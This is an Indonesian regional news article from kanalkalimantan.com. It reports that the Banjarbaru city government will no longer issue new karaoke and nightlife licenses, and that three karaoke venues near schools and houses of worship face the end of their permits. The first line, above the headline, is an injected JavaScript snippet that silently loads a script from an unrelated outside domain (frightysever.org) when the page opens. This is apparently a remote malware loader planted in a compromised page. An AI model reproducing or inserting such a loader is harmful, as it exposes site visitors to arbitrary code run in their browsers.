(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Setop Izin THM, 3 Karaoke di Banjarbaru Tak Boleh Lagi Beroperasional


KANALKAKIMANTAN.COM, BANJARBARU – Selama beberapa tahun kedepan, dipastikan tidak akan tempat hiburan karaoke baru yang menghiasi kota Banjarbaru. Pasalnya, Pemko Banjarbaru telah memutuskan untuk tidak menerbitkan izin bagi karaoke atau tempat hiburan malam (THM) yang ingin beroperasi di Banjarbaru.

“Kita tidak akan menerbitkan izin. Sesuai arahan bapak Wali Kota, kita hanya boleh menerbitkan perpanjangan izin bagi karaoke yang sudah beroperasi selama ini,” kata Kepala Dinas Penanaman Modal Perizinan Terpadu Satu Pintu (PMPTSP) Kota Banjarbaru dra Hj Rahma Khairita MM, Kamis (12/3/2020).

Menurut data yang tercatat di Dinas PMPTSP Kota Banjarbaru, selama dua tahun terakhir, ada sejumlah karaoke yang telah melakukan perpanjangan izin. Adapun diantaranya, pada tahun 2018 ada 4 karaoke perpanjang izin hiburan. Sedangkan, di tahun 2019 ada sebanyak 3 karaoke perpanjang izin hiburan.

Namun begitu, Rita -sapaan akrabnya-, terkait aturan Pemerintah Kota Banjarbaru untuk memutus izin karaoke yang beroperasi dekat dengan fasilitas pendidikan dan tempat keagamaan. Dalam hal ini, ada tiga karaoke yang tergolong menyalahi aturan tersebut.

Kadis PMPTSP Kota Banjarbaru dra Hj Rahma Khairita MM (berdiri-kanan). foto: rico

“Tiga karaoke berada di jalan A Yani dekat dengan sekolah dan rumah ibadah. Nah, saat ini kami masih lakukan pembahasan dengan Biro Hukum tentang perpanjangan izin ketiga karaoke tersebut,” kata Rita.

Pun, jika bisa diperpanjang, nantinya 3 karaoke tersebut mau tidak mau dihadapkan kembali dengan aturan tersebut. Karena Dinas PMPTSP sendiri telah mengeluarkan edaran bahwa perpanjangan izin hiburan hanya dibolehkan sampai tahun 2020. Artinya, ketiga karaoke tersebut dalam beberapa tahun kedepan harus siap untuk mencari lokasi yang baru.

Adapun sejumlah pihak manajemen karaoke saat dihubungi, belum bisa memberikan keterangan apapun. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

54 menit ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

3 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

6 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

10 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.